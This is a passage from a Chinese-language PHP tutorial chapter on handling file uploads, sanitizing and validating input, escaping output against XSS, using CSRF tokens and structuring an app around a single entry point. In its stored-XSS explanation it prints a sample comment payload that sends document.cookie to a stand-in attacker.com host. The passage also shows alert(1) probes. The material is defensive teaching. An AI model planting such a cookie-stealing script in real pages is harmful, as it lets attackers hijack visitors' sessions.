  10. 要从网页上传文件,我们必须在该网页上添加上传表单,包括类型为 file<input>"uploadFile" 名称(我们在脚本中监视这个名称)。表单需要带有 "multipart/form-data" 值的 enctype 属性:

    <form action="./super-post-upload.php" method="post"   enctype="multipart/form-data">
        <input type="file" name="uploadFile">
        <input type="submit" value="Upload">
    </form>
    
  11. 在处理文件上传后,让我们在上传后显示图像。首先,我们必须检查文件是否存在,我们可以通过使用内置的文件系统函数 file_exists() 来完成这个操作:

    if (file_exists($targetFilename)) {
        // print the file
    }
    
  12. 要在浏览器中显示图像,我们应该在 src 属性中使用指向服务器文档根的相对路径来渲染一个 HTML <img> 元素:

    echo sprintf('<img src="img/%s" style="max-width: 500px; height: auto;"   alt="my uploaded image">', $relativeFilename);
    
  13. 在浏览器中打开文件,访问 http://127.0.0.1:8080/super-post-upload.php

    输出应该只是一个文件上传表单:

    图 6.20:文件上传表单

    图 6.20:文件上传表单

  14. 点击 Upload 而不选择文件。这次,在表单之前将显示一个错误信息。输出应该看起来像这样:图 6.21:未提交文件时的文件上传错误

    图 6.21:未提交文件时的文件上传错误

    由于表单上传输入中缺少文件,$uploadInfo['error'] 的值为 UPLOAD_ERR_NO_FILE,我们得到了 No file was uploaded. 错误。

  15. 选择一个大于 2 MB 的大文件,然后点击 Upload 按钮。这次,另一个错误信息将警告您上传文件超过了大小限制:![图 6.22:提交的文件过大时的文件上传错误 图 6.22:提交的文件过大时的文件上传错误 与上一步类似,我们遇到了上传错误。这次的上传错误是 UPLOAD_ERR_INI_SIZE。1. 选择一个小于 2 MB 且非 PNG 格式的文件,然后点击 Upload 按钮。此时将出现另一个错误信息,告知您文件格式不是接受的格式:图 6.23:提交的文件格式不被接受时的文件上传错误

    图 6.23:提交的文件格式不被接受时的文件上传错误

    与之前的步骤不同,这次的上传错误是UPLOAD_ERR_OK,这意味着上传没有发生错误。页面上显示的错误信息是由文件 MIME 类型验证引起的,它需要是image/png

  16. 最后,选择一个小于 2 MB 的 PNG 图像文件,然后点击上传按钮。页面应显示上传成功的消息并渲染上传的图片:

图 6.24:当提交的文件满足要求时文件上传成功

图 6.24:当提交的文件满足要求时文件上传成功

由于上传没有错误发生,并且 MIME 文件类型是预期的,文件被存储在服务器上的指定路径,并在浏览器页面上显示。

保护输入和输出数据

为了保护你的网站用户和网站本身,你应该保护你的 Web 应用程序免受恶意输入和操作的侵害。应用程序安全是可靠应用程序的支柱之一。这不应被忽视;相反,在开发应用程序时,你必须始终考虑安全性。

尽管大部分的焦点(如果不是全部)都集中在用户输入上,但如果无论数据来源如何都能进行数据验证,那就好多了。这在项目中有团队参与而不是单一个人的情况下尤其必要。这可能导致许多不可预测的事件,例如看似无害的代码更改,但可能会在应用程序流程中触发意外的行为。想象一下,一个类方法被设计并用于某些内部逻辑过程,但最终却被用于处理外部数据(来自数据库、用户输入或其他地方)。虽然类的自数据可能有一定的信任度,至少在数据类型方面(取决于设计),但外部数据是不可信的。在某些情况下,在一个小团队中开发产品时,可能会诱使你要求应用程序管理员在这里和那里插入特定格式的数据,将数据验证和清理留到以后,同时你急切地试图交付更多和更多的功能(可能为了满足截止日期)。然后,想象一下你的产品变得如此成功,以至于管理层决定扩展业务,将其作为 SaaS 解决方案提供。在这种情况下,应用程序管理员不再是你的小团队,如果你不处理输入验证和清理,所有客户的数据都将处于风险之中。这次,及时解决所有问题将非常困难——你将不得不在整个应用程序中找到这些安全漏洞。

通常,不关注数据验证和清理将导致未来的巨大技术债务,因为您不仅会使客户数据处于风险之中,而且应用程序操作可能会返回不可预测的结果,这将要求开发者追踪和调试问题,这又需要时间和金钱,而这些问题会导致糟糕的用户体验。

最佳实践

这里有一些编码实践可以使您的 PHP 代码更不容易出现错误和安全问题:

  • 为您的 Web 应用使用单一入口点:这涉及到一个单一的 PHP 文件,该文件负责接收每个 HTTP 请求并处理它。此文件将引导所有依赖项,加载配置文件,初始化请求处理器(如DispatcherHttpKernel等——请注意,每个框架都有自己的名称),然后路由请求到适当的 PHP 脚本以生成响应。在我们的示例中,我们使用了多个输入文件来提供一些示例;这并不是真实世界应用的方法。稍后,我们将查看一个简单引导的示例,该示例在单个输入文件中运行此主题中的示例,同时保持每个示例文件在磁盘上。

  • 将业务逻辑与表示逻辑分开:始终将责任分开是更好的做法。现代框架自带模板引擎,以帮助开发者将大部分(如果不是全部)业务逻辑保持在 PHP 文件中,而不是在表示文件中。这有助于只关注一个部分;即,收集和/或处理数据或显示数据(即,通过视觉)。此外,如果业务逻辑没有散布在表示标记中,则更容易阅读。我们将在稍后的引导示例中更详细地介绍这一点。

  • 早期清理和验证输入,晚期转义:输入数据指的是应用程序之外的数据,无论是用户输入、数据库数据、文件系统文件数据还是其他数据。通过清理数据,您确保为给定输入获得尽可能干净的数据,而通过验证,您确保允许脚本使用接受的值或值的范围。另一方面,对输出数据进行转义使应用程序避免一些其他问题,例如跨站脚本攻击XSS)。

    我们将很快看到如何在 PHP 中实现这一点。

  • 尽可能使用类型提示:使用类型提示,您可以确保函数的输入和输出类型,因此此功能可以防止当函数的输入或输出数据不是预期类型时执行代码。例如,如果您的函数期望一个可迭代对象,但传递了一个字符串,那么引擎将抛出一个TypeError异常(如果未捕获,则停止脚本执行)。

    这还不是全部。默认情况下,PHP 会在可能的情况下强制转换不匹配预期类型的变量的值。这仅适用于标量。例如,如果一个函数期望一个整数,但传递了一个数值字符串,那么它将被转换为整数。PHP 还提供了严格类型检查的功能,我建议你在应用程序开发中使用它。它可以根据文件使用情况添加,只需添加declare(strict_types=1);并将它应用于强制执行严格类型的文件中的函数调用。这意味着从非严格类型检查的函数调用到启用了强类型检查的文件的函数,调用者的弱类型偏好将被尊重,并且值将被强制转换。使用严格类型检查可以使你的应用程序更不容易出现错误,这仅仅是因为'123abc' == 123,这让我想到了下一个点。

  • 使用严格比较(===):PHP 支持两种比较类型:松散比较(==)和严格比较(===)。在松散比较的情况下,PHP 会尝试将两个操作数的值对齐到公共类型,然后进行比较。这就是为什么0 == FALSE评估为TRUE的原因。虽然这被认为是 PHP 的一个特性,受到初学者开发者的赞扬,但我强烈建议你从一开始就避免使用这种结构。另一方面,字符串比较不会尝试强制转换操作数的数据,因为它比较的是值和类型。

    一般而言,作为查看你代码的开发者,你应该知道在应用程序的每一行中你正在处理什么数据。

    换句话说,你允许你的应用程序运行越多魔法,你的应用程序就越容易出现魔法错误!

  • 将你的代码拆分成更小的部分:尽量避免编写长函数,而是尝试将代码拆分成你可以实际测试的部分。那么,你应该使用什么粒度来拆分你的代码呢?好吧,问问你试图用数据做什么,然后它就会归结为具有decorateCommentsplitCollectionshouldTrim等名称的函数。如果你最终得到的是getCommentsByGroupingAndDecoratingLongOnes这样的东西,你可能会发现这个函数做了太多的操作,这些操作可以被拆分成更短、更易于管理和测试的函数。

  • 避免使用错误抑制操作符@:这个操作符相当慢,因为 PHP 会关闭错误报告,并在操作完成后将其恢复到原始值。此外,不要在生产环境中关闭错误报告;相反,使用自定义错误处理程序并以你偏好的方式记录错误,这样你就可以在代码执行过程中看到是否有错误发生。

清理和验证用户输入

一旦数据到达脚本,就应该进行清理,并且必须始终进行验证。你想要确保你不会接收到有害的数据,因此你想要清理用户输入,这意味着从提供的输入中删除可能有害的内容,或者将数据转换为特定的类型,如整数或布尔值。此外,你想要确保输入数据是有效的数字,或者当期望时是一个电子邮件地址,等等。

内置的 filter_input() 函数用于处理请求中的数据,并在需要时将其更改为预期的格式。

语法是 filter_input( int $type, string $variable_name, int $filter = FILTER_DEFAULT, mixed $options = null ),因此它接受要查找的输入类型、要查找的输入参数名称、可选的过滤器类型以及如果需要的话任何额外的选项。FILTER_SANITIZE_* 过滤器的作用是删除特定格式中不期望的数据。例如,FILTER_SANITIZE_NUMBER_INT 将删除除了数字和加减符号之外的所有内容。完整的清理选项列表可以在 packt.live/31vww0M 找到。

练习 6.7:清理和验证用户输入

在下面的练习中,我们将清理和验证输入数据。假设你已经构建了一个电子商务网络应用程序,现在你想开发反馈部分。在 POST 负载中,你期望收到一条消息和星级评分;也就是说,任何介于一到五之间的数字。

下面是执行练习的步骤:

  1. 要清理输入,你可以这样使用 filter_input() 函数,假设我们在查找 starsmessage 输入字段:

    $stars = filter_input(INPUT_POST, 'stars', FILTER_SANITIZE_NUMBER_INT);
    $message = filter_input(INPUT_POST, 'message', FILTER_SANITIZE_STRING);
    
  2. 当然,你应该检查 filter_input 的返回值。正如手册所述,如果输入不存在,将返回 NULL,如果过滤器失败,则返回 FALSE,否则返回标量。接下来,我们想要验证清理后的输入数据:

        // first approach
        $stars = (int)$stars;
        if($stars < 1 || $stars > 5){
            echo '<p>Stars can have values between 1 and 5.</p>';
        }
    

    我们还可以考虑以下方法:

        // or second approach
        $stars = filter_var($stars, FILTER_VALIDATE_INT, [
            'options' => [
                'default' => 0, // value to return if the filter fails
                'min_range' => 1,
                'max_range' => 5,
            ]
        ]);
        if(0 === $stars){
            echo '<p>Stars can have values between 1 and 5.</p>';
        }
    

    你会注意到,在某个时刻,我们将 stars 输入值转换成了整数 ($stars = (int)$stars;)。这是因为,使用 FILTER_SANITIZE_* 过滤器类型时,如果过滤器运行成功,你总是会得到一个字符串。此外,你会注意到我们使用了 filter_var 函数,与 filter_input 不同,它将接受一个变量作为第一个参数,然后是过滤器类型和选项。在之前展示的两个验证整数输入的方法中,我更喜欢第一个,因为它代码更少,而且可能比第二个方法(无论如何,除非你运行的是高流量的网络应用程序,两种方法之间的性能差异几乎为零)更快。

    注意

    通常,验证整数输入会做得更简单。考虑到脚本可能期望的值高于零,或者当没有指定值时,零将是默认值,清理将看起来像这样:

    $stars = (int)($_GET['stars'] ?? 0); // 使用空合并运算符

  3. 验证消息输入,如果$messagenullfalse(即输入未找到或清理失败),则打印错误消息:

    if (null === $message) {
        //  treat the case when input does not exist
        echo '<p>Message input is not set.</p>';
    } elseif (false === $message) {
        //  treat the case when the filter fails
        echo '<p>Message failed to pass the sanitization filter.</p>';
    }
    
  4. 为了调试目的,我们可能想打印清理变量的值:

    echo sprintf("<p>Stars: %s</p><p>Message: %s</p>",   var_export($stars, true), var_export($message, true));
    
  5. 现在我们缺少 HTML 部分;也就是说,表单。它将需要两个带有starsmessage名称的输入。在这种情况下,我们可能考虑使用类型为text的输入来stars,以便能够输入无效数据,这样我们就可以验证我们的清理和验证逻辑,并为message使用类型为textarea的另一个输入:

    <form method="post">
        <label for="stars">Stars: </label><br>
        <input type="text" name="stars" id="stars"><br>
        <label for="message">Message: </label><br>
        <textarea name="message" id="message" rows="10" cols="40">      </textarea><br>
        <input type="submit" value="Send">
    </form>
    
  6. 将内容放入input-sanitize.php文件,并在浏览器中打开http://127.0.0.1:8080/input-sanitize.php。输出看起来像这样:图 6.25:首次访问 input-sanitize.php 时的输出

    图 6.25:首次访问 input-sanitize.php 时的输出

  7. stars评分输入3a,为消息输入Hello <script>alert(1)</script>,然后提交表单。你将得到类似以下输出:

图 6.26:input-sanitize.php 输出中的示例清理

图 6.26:input-sanitize.php 输出中的示例清理

在下面的表中,我们列出了一系列输入及其每个提交的结果。因此,这里是一个脚本将为它们相对输入渲染的清理值列表:

图 6.27:各种输入消息的清理值列表

图 6.27:各种输入消息的清理值列表

你应该注意一些其他的清理函数:

  • strip_tags(): 这会从字符串中移除 HTML 标签;例如,strip_tags('Hello <script>alert(1)</script>!'); 将移除<script>的打开和关闭标签,结果如下输出:"Hello alert(1)!"。这会移除不期望的 HTML 标签,并从应用程序中移除可能危险的脚本,这些脚本可能会在浏览器中进一步输出,导致恶意行为。

  • trim(): 默认情况下,它会从字符串的开始和结束处移除空白字符,或者根据指定移除其他字符。

这里有一些你可能想要使用的函数来验证你的数据:

  • is_numeric(): 这告诉我们一个变量是否是数字或数字字符串。

  • preg_match(): 这执行正则表达式匹配。

  • in_array(): 这检查给定的函数参数数组中的值是否存在于值列表中。

输出转义

现在,让我们谈谈离开应用程序的数据。当将数据作为 HTML 标记发送到浏览器时,你还得关注另一个安全问题。

这次,你想要逃离数据。逃离意味着将可能有害的数据转换为无害的数据。由于浏览器将通过解析你提供的脚本中的 HTML 来渲染页面,你需要确保输出不会产生不期望的副作用,破坏页面布局,或者更糟糕的是,将用户会话和数据置于风险之中。

跨站脚本攻击(XSS)

现今网络中最常见的漏洞是跨站脚本攻击XSS)。这种漏洞允许攻击者在客户端(在浏览器中)注入任意 HTML 标签和/或运行任意 JavaScript 代码。

XSS 攻击有三种类型:

  • 存储型 XSS:在这里,恶意代码存储在服务器或客户端浏览器上。

  • 反射型 XSS:在这里,恶意代码立即从用户输入返回。

  • 基于 DOM 的 XSS:在这里,恶意代码使用存储在 DOM 中的数据发送到攻击者的网站。

虽然这些是不同类型的 XSS,但它们实际上有重叠。通常,它们被称为服务器 XSS 或客户端 XSS,指向网站的易受攻击的一侧。

反射型 XSS 的一个常见例子是搜索结果页面,用户会看到他们提交的搜索输入。在这种情况下,一个有漏洞的脚本应该看起来像这样:

echo sprintf('Search terms: %s', $_GET['s']);

当然,访问/?s=hello将导致输出"搜索词: hello",这是糟糕测试的样子。然而,当尝试/?s=<script>alert(1)</script>时,输出是"搜索词: "并且显示一个弹出框显示数字 1。这是因为 HTML 将看起来是这样的:

Search terms: <script>alert(1)</script>

虽然这看起来无害,但想想这里的可能性。你可以注入任何 HTML 标记,包括脚本,并且能够监视用户会话、数据和动作,甚至更多——它能够代表用户执行操作。

幸运的是,有方法可以防止此类攻击,虽然数据验证和清理也可以用于此,但最常用的方法之一是输出转义。PHP 提供了一些内置函数,提供了这样的功能:htmlspecialchars()htmlentities()。这两个函数所做的就是将某些敏感字符转换为它们相关的 HTML 实体值,另外,htmlentities()将所有与 HTML 命名的实体相关的字符都转换为实体。我鼓励你使用htmlentities($string, ENT_QUOTES),这样所有字符都将转换为实体;此外,ENT_QUOTES确保双引号和单引号都被转义。

根据前面的例子,修复应该看起来相当简单:

echo sprintf('Search terms: %s', htmlentities($_GET['s'], ENT_QUOTES));

现在,浏览器将输出 搜索词: <script>alert(1)</script>,因为 HTML 看起来是这样的:

Search terms: &lt;script&gt;alert(1)&lt;/script&gt;

为了方便,我将打印 PHP 将用htmlspecialchars()替换的特殊字符列表:

图 6.28:特殊字符及其替换

图 6.28:特殊字符及其替换

图 6.28:特殊字符及其替换

现在,让我们考虑一个存储型 XSS 样本的例子。正如其名所示,存储型 XSS 是一段存储在服务器或浏览器上的恶意软件。我将讨论存储在服务器上的那种,但在浏览器的情况下,它类似(只是不是用 PHP 实现的)。

好的,那么一个 XSS 恶意软件片段是如何存储在服务器上的呢?嗯,很简单:这可以通过应用存储的每个用户输入来完成(通常存储在数据库中)。想想博客帖子的评论、产品的评论、头像的 URL、用户的网站 URL 以及其他例子。在这些情况下,为了渲染安全的 HTML,答案是相同的;也就是说,使用htmlentities()

假设数据库中有一个博客帖子的评论,内容如下:

Great blog post! <script>document.write('<img src="img/collect.gif?cookie=' + encodeURIComponent(document.cookie)+'" />');
</script>

在这种情况下,攻击者注入一个脚本标签,通过添加远程图片(通常是一个像素;你甚至无法在页面上看到它)在客户端执行 DOM 写入。远程图片由攻击者的服务器托管,在提供像素图片之前,它将首先收集请求查询字符串中传递的所有数据——在这个例子中,是document.cookie。这意味着攻击者将收集来自网站所有访问者的有效会话 ID;也就是说,匿名访客、已登录用户,甚至是管理员。

如果不进行转义,前面的评论将被浏览器渲染为Great blog post!,没有任何提示表明可能有一些奇怪的脚本正在执行。

转义后的版本将作为评论的原始内容渲染,因为现在 HTML 将包含实体而不是特殊字符:

Great blogpost! &lt;script&gt;document.write('&lt;img src=&quot;https://attacker.com/collect.gif?cookie=' + encodeURIComponent(document.cookie)+'&quot; /&gt;');&lt;/script&gt;

注意

你可以在packt.live/2MRX3jJ了解更多关于 XSS 的信息。

练习 6.8:防止 XSS 攻击

在这个练习中,你将构建一个针对用户输入进行保护的脚本。假设你需要在现有的网站上开发一个搜索功能。你被要求将搜索值打印回页面,并保持当前搜索词在搜索输入字段中。当然,脚本应该对用户输入进行保护。

  1. 创建一个名为output-escape-reflected.php的文件,内容如下:

    <?php
    declare(strict_types=1);
    if (isset($_GET['s'])) {
        echo sprintf('<p>You have searched for: <strong>%s</strong>      </p>', htmlentities($_GET['s']));
    } else {
        echo "Use the form to start searching.";
    }
    ?>
    

    首先,我们检查$_GET变量中是否有s条目,如果有,我们将使用htmlentities()函数将转义后的值打印到浏览器:

    <form action="output-escape-reflected.php" method="get">
        <label for="search">Search term:</label>
        <input type="text" id="search" name="s" value="<?= htmlentities       ($_GET['s'] ?? '', ENT_QUOTES); ?>">
        <input type="submit" value="Search">
    </form>
    
  2. 然后,我们打印搜索表单,并在搜索输入字段中包含当前搜索词,使用相同的htmlentities()函数进行转义。请注意,这次我们使用ENT_QUOTES作为第二个参数,这将使函数转义单引号和双引号;如果没有这个参数,只有双引号会被转义。我们使用这种方法的原因,即使value属性使用双引号赋值,这也允许使用单引号,因此转义两种类型的引号更安全。

  3. 访问http://127.0.0.1:8080/output-escape-reflected.php文件。

    您应该看到类似以下内容:

    图 6.29:未包含搜索词的页面输出

    图 6.29:未包含搜索词的页面输出

  4. "Great blogpost!" <script>alert('1')</script> 作为搜索词输入,并点击 搜索 按钮。你应该看到类似以下内容:

图 6.30:搜索词的转义输出

图 6.30:搜索词的转义输出

如您从前面的输出中看到的那样,我们显示了用户输入的搜索词,并且也在搜索输入字段中保留了它。

跨站请求伪造(CSRF)

跨站请求伪造CSRF)是一种攻击,允许用户在当前已认证的 Web 应用程序上执行他们不希望执行的操作。这种攻击可能导致资金转移、更改账户电子邮件地址或以用户的名义进行购买。

This can happen when the attacker knows exactly what data is expected on the affected application for a certain action – changing an email address, let's say. So, the attacker crafts the HTML form on their server, filling it with their preferred data (that is, their own email address). Next, the attacker chooses the victim and uses social engineering to trick them into accessing the URL.

受害者随后会进入一个恶意网站,浏览器会被指示将(不可见的)表单提交给受影响的已登录应用程序。电子邮件地址会被更改,当受害者意识到这一点时,可能已经太晚了,因为账户的控制权已经被攻击者夺取。值得一提的是,受害者甚至可能不会意识到是什么导致了受影响应用程序上的电子邮件更改操作,因为攻击者网站上的表单可以在像素 iFrame 内部提交。因此,受害者可能会认为他们访问了一些类型的酷病毒视频博客,而没有意识到幕后隐藏的危险。

注意

在信息安全领域,社会工程学是指在信息收集、欺诈或系统访问的目的下进行信心骗局,它指的是对人们进行心理操纵以执行行动或泄露机密信息。

为了减轻您应用程序中的 CSRF 攻击,我们建议您生成并使用 CSRF 令牌。这些是随机生成的可变长度的字符串片段。这些令牌不是随表单一起发送的数据的一部分(如 cookies),但它们是表单数据的一部分。通过 HTTP 表单发送的令牌随后与会话数据中存储的值进行比较,如果完全匹配,则允许请求。

通常,你可以为每个会话生成一个令牌,但也可以为每个会话表单生成一个令牌。

CSRF 令牌方法有助于防止 CSRF 攻击,因为攻击者不知道你的会话 CSRF 令牌是什么,并且所有在实现 CSRF 令牌之前成功进行的恶意操作现在将在令牌验证阶段失败。

注意

你可以在 packt.live/31aAFHb 上了解更多关于 CSRF 的信息。

练习 6.9:防范 CSRF 攻击

在这个练习中,你将设置一个 CSRF 令牌用于用户操作验证。

  1. 创建一个名为 form-csrf.php 的文件,并插入以下内容:

    首先,应启动会话,然后脚本将在会话数据中查找 csrf-token 条目,如果未找到,则将生成一个并使用两个内置函数存储在会话中。我们将使用 random_bytes() 生成指定长度的随机字节,并使用 bin2hex() 将二进制数据转换为十六进制表示;即,包含从 0 到 9 的数字和从 af 的字符的字符串。该表达式将生成一个 64 位的令牌:

    session_start();
    if (!array_key_exists('csrf-token', $_SESSION)) {
        $_SESSION['csrf-token'] = bin2hex(random_bytes(32));
    }
    
  2. 接下来,脚本应检查请求类型是否为 POST,如果是,则进行令牌验证。以下是执行此操作的代码:

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (!array_key_exists('csrf-token', $_POST)) {
            echo '<p>ERROR: The CSRF Token was not found in POST payload.          </p>';
        } elseif ($_POST['csrf-token'] !== $_SESSION['csrf-token']) {
            echo '<p>ERROR: The CSRF Token is not valid.</p>';
        } else {
            echo '<p>OK: The CSRF Token is valid. Will continue with email           validation...</p>';
        }
    }
    

    首先,检查输入数据中 CSRF 令牌的存在:array_key_exists('csrf-token', $_POST)。第二个检查将比较发送的数据与当前用户的会话数据中存储的数据:$_POST['csrf-token'] === $_SESSION['csrf-token']。如果这两个条件中的任何一个失败,则将显示适当的错误消息。否则,将打印成功消息。

  3. 最后,打印测试表单。它应包含一个虚拟的 email 输入。我们将在表单中添加三个提交按钮。第一个按钮将使表单仅提交电子邮件数据。第二个按钮将使表单发送空值的 "csrf-token"。最后,第三个按钮将使表单发送存储在 当前 会话中的 "csrf-token" 的值。以下是执行此操作的代码:

    <form method="post">
        <label for="email">New email:</label><br>
        <input type="text" name="email" id="email" value=""><br>
        <button type="submit">Submit without CSRF Token</button>
        <button type="submit" name="csrf-token">Submit with empty/invalid       CSRF Token</button>
        <button type="submit" name="csrf-token" value="      <?php echo $_SESSION['csrf-token'] ?>">Submit with CSRF Token
        </button>
    </form>
    

    注意

    最终脚本可参考 packt.live/2B6Z7Pj

  4. 打开 http://127.0.0.1:8080/form-csrf.php 上的文件。

    你应该在浏览器中看到类似以下内容:

    图 6.31:首次访问 form-csrf.php

    图 6.31:首次访问 form-csrf.php

  5. 点击“不使用 CSRF 令牌提交”按钮。输出将如下所示:图 6.32:未找到令牌

    图 6.32:未找到令牌

  6. 点击“使用空/无效 CSRF 令牌提交”按钮。输出将如下所示:图 6.33:找到令牌,但无效

    图 6.33:找到了令牌,但无效

  7. 点击“使用 CSRF 令牌提交”按钮。输出将如下所示:

图 6.34:找到并验证了令牌

图 6.34:找到并验证了令牌

如前所述输出所示,我们已经成功生成并提交了一个 CSRF 令牌,从而保护应用程序和用户数据免受 CSRF 攻击。

构建应用程序(启动示例)

如前所述,将业务逻辑与表示层和其他应用程序组件分离是一种良好的实践,这样做可以简化应用程序的开发和维护,并使应用程序更不容易出现安全问题。

本章提供了一个非常简单的应用程序结构示例,仅为了展示您如何为应用程序实现一个入口点,路由请求并执行适当的业务逻辑,同时打印一个完整的 HTML 页面。

在接下来的练习中,我们将使用最佳开发实践来构建一个应用程序。然而,在我们这样做之前,让我们回顾一下在构建我们的网页时将使用的基本目录结构。在项目根目录中,有两个目录:src/web/

web/

这是包含 HTTP 请求单入口点文件的服务器文档根目录:index.php。这个目录下的每个文件都可以通过服务器访问(除非使用了特定的服务器配置来阻止访问该目录内的某些位置)。

注意

服务器将在这个目录中启动,而不是父目录(/app)。

这种方法用于防止随机脚本文件访问 WWW,这可能导致各种后果(如数据安全和服务可用性),并通过减少入口点到一个来简化应用程序的维护。

index.php:这个文件负责接受所有 HTTP 请求并生成和返回 HTTP 响应;它包含应用程序的所有必要脚本文件,并执行特定任务以实现其目的(例如,返回 HTTP 响应)。

src/

这是包含应用程序业务逻辑和表示文件的目录;脚本文件按操作类型分组(例如表示、处理程序和高级组件)。这个目录不对 WWW 公开;然而,由于它们包含在web/index.php中,因此每个请求都会运行这些脚本,这意味着它们间接地暴露给了用户输入。因此,任何类型的输入验证都是必不可少的。

src/目录包含三个子目录:components/handlers/templates/。这些目录的详细信息如下:

components/

Router.phpRouter组件负责选择一个处理程序(即类名)进行实例化并返回它。本质上,它将 URI 路径与处理程序类匹配(例如,/login将返回\Handlers\Login实例)。

Template.phpTemplate组件负责从templates目录加载和渲染模板,并返回 HTML 内容。

handlers/

此目录包含处理 HTTP 请求并生成响应数据的脚本,其中包含具有类的脚本。此目录有一个抽象的 Handler 类,它实现了一些常用功能,这些功能将由实际处理程序扩展。之前列出的处理程序旨在涵盖身份验证(Login.php)、保护个人资料页面、注销任何会话(Logout.php)以及保护个人资料页面显示(Profile.php)。

templates/

如其名所示,templates 目录包含模板文件(或演示文件)。这些文件主要包含 HTML,并且几乎没有 PHP 逻辑。

在构建应用程序时,我们需要确保有一个单一的入口点,如下面的图所示:

![图 6.35:通过 HTTP 请求间接暴露 Web 目录和访问脚本]

![图片 C14196_06_35.jpg]

![图 6.35:通过 HTTP 请求间接暴露 Web 目录和访问脚本]

此入口点是唯一一个暴露给用户请求的。用户请求被导入到 Web 目录脚本中,以便没有脚本可以通过 HTTP 请求直接访问。这提供了一种针对恶意请求的安全措施。

在前面的章节中,我们描述了构建 Web 应用程序的一些最佳实践。让我们将这些实践付诸行动,在接下来的练习中构建一个应用程序。

练习 6.10:构建应用程序:主页

在这个练习中,你将构建一个遵循 PHP 良好开发实践的应用程序,通过将应用程序结构化为处理特定任务的独立组件。更具体地说,我们将构建一个单页面的网站——即主页,我们将使用 HTML 来结构化和在浏览器页面上渲染内容;CSS 来“美化”页面内容;当然,PHP 来处理所有传入的请求并向浏览器发送适当的响应。

请确保当前运行的服务器已停止,并创建一个新的目录,该目录将用于构建你的第一个应用程序。以下所有内容都将考虑刚刚创建的工作目录。在我的情况下,我将使用 /app 目录作为工作目录,你将在后面的示例中注意到这一点。以下是执行练习的步骤:

  1. 创建以下目录结构和文件:![图 6.36:应用程序的目录结构]

    ![图片 C14196_06_36.jpg]

    ![图 6.36:应用程序的目录结构]

    我们从哪里开始?

    正如使用任何工具或框架时的情况一样,让我们从最低要求开始,这样我们就可以在之后逐步添加更多内容。由于我们正在部署一个 Web 应用程序,让我们设置基本视图;也就是说,在每个页面上重复出现的模板。

  2. 创建一个 main.php 模板文件。

    在这个文件中,我们希望包含一个网页的有效 HTML 模板;因此,我们将包括一些基本元素,例如doctype声明;HTML 的root标签;一个包含特定标签的head块(例如,title),以及一个body块,其中我们添加了一个带有网站标题(Learning PHP)和两个链接的水平导航栏,链接分别是Home/路径)和Profile/profile路径);以及主容器,其他页面的输出将在这里渲染。在这个模板文件中,我们将查找$titleecho($title ?? '(no title)');)和$content PHP 变量,如果找到,我们将渲染它们(if (isset($content)) echo $content;)。这个模板将包括 Bootstrap CSS 框架的 CSS 样式,这使得网站看起来更美观而无需任何努力。我们选择了 Bootstrap v4 用于页面显示风格化,但还有很多其他选择,你应该检查并选择你认为最适合你的一个。类似 Foundation、Jeet、Pure 和 Skeleton 这样的替代品与 Bootstrap 做类似的工作。通常,人们更倾向于使用轻量级的库,而不是像 Bootstrap 这样的大型框架的众多工具。

  3. 输入以下代码以包含之前提到的信息:

    main.php
    1 <!doctype html>
    2 <html lang="en">
    3 <head>
    4     <meta charset="utf-8">
    5     <meta name="viewport" content="width=device-width, initial-scale=1,        shrink-to-fit=no">
    6     <title><?php echo($title ?? '(no title)'); ?></title>
    7     <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/        bootstrap.min.css" rel="stylesheet">
    8 </head>
    https://packt.live/2Nfdqad
    

    main.php模板包含将在每个页面上渲染的网站 HTML 骨架。

    现在,为了相应地渲染这个文件,我们需要一个组件来加载模板文件,创建预期的变量(如果提供),然后创建准备在浏览器上显示的纯 HTML 输入。我们将使用\Components\Template类(即src/components/Template.php文件)来完成这个任务。每个模板的一个常见特性是它们存储的目录,因此我们可能希望将此参数保存在一个静态变量中。

  4. 将存储模板的目录保存在静态的$viewsPath变量中:

    public static $viewsPath = __DIR__ . '/../templates';
    
  5. 模板文件的完整路径对每个模板是唯一的。因此,我们希望每个模板都包含它自己的所需path属性。以下是实现这一点的代码:

    private $name;
    public function __construct(string $name)
    {
        $this->name = $name;
    }
    private function getFilepath(): string
    {
        return self::$viewsPath . DIRECTORY_SEPARATOR . $this->name . '.php';
    }
    

    注意

    由于所有表示文件都包含.php扩展名,我们不会在路径名称中包含它;在这种情况下,一个名为\Components\Template的文件将自动将".php"添加到模板名称中,并解析src/templates/main.php文件。

  6. 使用提供的关联数组数据渲染模板内容。

    我们已经有了视图路径和模板名称,现在我们需要一个方法(让我们称它为render())来渲染文件,导入变量。我们将使用内置的extract()函数将变量从数据数组(extract($data, EXTR_OVERWRITE);)导入到当前符号表中。这意味着如果$data = ['name' => 'John'];extract()函数将导入具有值John$name变量。然后,我们包含模板文件以渲染内容,由于我们目前不想向用户输出(我们只想渲染模板),我们将使用ob_start()ob_get_clean()输出控制函数来开始输出缓冲,获取内容,并清理当前缓冲区。然后,该方法将返回渲染的内容:

    function render(array $data = []): string
    {
        extract($data, EXTR_OVERWRITE);
        ob_start();
        require $this->getFilepath();
        $rendered = ob_get_clean();
        return (string)$rendered;
    }
    

    注意

    Template.php中的最终脚本可以在此处参考packt.live/35D34t9

  7. 让我们看看现在是否能在浏览器中获取输出。由于index.php是唯一通过 Web 服务器访问的文件,让我们打开并添加打印第一个 HTML 页面的需求。首先,我们想要包含模板组件并实例化main模板:

    require_once __DIR__ . '/../src/components/Template.php';
    $mainTemplate = new \Components\Template('main');
    

    我们将在$templateData关联数组中放置一个网站标题,并使用它来调用模板实例的render()方法,这样关联数组中的title条目就会成为main.php文件中的$title变量:

    $templateData = [
        'title' => 'My main template',
    ];
    echo $mainTemplate->render($templateData);
    
  8. ./web目录中启动 PHP 内置的 Web 服务器,php -S 127.0.0.1,并访问主页http://127.0.0.1:8080/

    输出应该看起来像这样:

图 6.37:主页

图 6.37:主页

在没有特定文件名的情况下访问服务器文档根,PHP 内置服务器将自动查找index.php文件(因此访问http://127.0.0.1:8080/等同于http://127.0.0.1:8080/index.php)。在 NGINX 和 Apache 等不同服务器上的生产设置中也会进行类似的配置。在这个阶段,点击任何链接都会始终显示主模板。

注意

前面图中可以看到的/app目录是我放置srcweb目录的目录。

